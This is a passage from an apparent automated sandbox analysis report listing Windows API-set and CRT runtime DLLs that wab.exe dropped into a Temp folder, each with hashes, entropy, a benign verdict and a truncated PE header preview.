Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078409479204304
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2
MD5:	AC290DAD7CB4CA2D93516580452EDA1C
SHA1:	FA949453557D0049D723F9615E4F390010520EDA
SHA-256:	C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382
SHA-512:	B5E2B9F5A9DD8A482169C7FC05F018AD8FE6AE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
SSDEEP:	384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
MD5:	8B0BA750E7B15300482CE6C961A932F0
SHA1:	71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19
SHA-256:	BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512:	FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,.......................... ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ ..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-multibyte-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	6.712286643697659
Encrypted:	false
SSDEEP:	384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
MD5:	35FC66BD813D0F126883E695664E7B83
SHA1:	2FD63C18CC5DC4DEFC7EA82F421050E668F68548
SHA-256:	66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735
SHA-512:	65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB881431
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!.....$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$.................. ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q.......................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-private-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73016
Entropy (8bit):	5.838702055399663
Encrypted:	false
SSDEEP:	1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5:	9910A1BFDC41C5B39F6AF37F0A22AACD
SHA1:	47FA76778556F34A5E7910C816C78835109E4050
SHA-256:	65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9
SHA-512:	A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1...........!................................................................R.....@.............................................................8=..............T............................................................................text............................... ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A...A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.076072254895036
Encrypted:	false
SSDEEP:	192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU
MD5:	8D02DD4C29BD490E672D271700511371
SHA1:	F3035A756E2E963764912C6B432E74615AE07011
SHA-256:	C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B
SHA-512:	D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!......................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<...V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22840
Entropy (8bit):	6.942029615075195
Encrypted:	false
SSDEEP:	384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
MD5:	41A348F9BEDC8681FB30FA78E45EDB24
SHA1:	66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256:	C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B
SHA-512:	8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!.........................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N...n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24368
Entropy (8bit):	6.873960147000383
Encrypted:	false
SSDEEP:	384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
MD5:	FEFB98394CB9EF4368DA798DEAB00E21
SHA1:	316D86926B558C9F3F6133739C1A8477B9E60740
SHA-256:	B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7
SHA-512:	57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a........................... ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v...............................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23488
Entropy (8bit):	6.840671293766487
Encrypted:	false
SSDEEP:	384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
MD5:	404604CD100A1E60DFDAF6ECF5BA14C0
SHA1:	58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256:	73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512:	DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20BE4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!.........................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... ..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.018061005886957
Encrypted:	false
SSDEEP:	384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
MD5:	849F2C3EBF1FCBA33D16153692D5810F
SHA1:	1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
SHA-256:	69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
SHA-512:	44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~.......................?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.127951145819804
Encrypted:	false
SSDEEP:	192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
MD5:	B52A0CA52C9C207874639B62B6082242
SHA1:	6FB845D6A82102FF74BD35F42A2844D8C450413B
SHA-256:	A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0
SHA-512:	18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
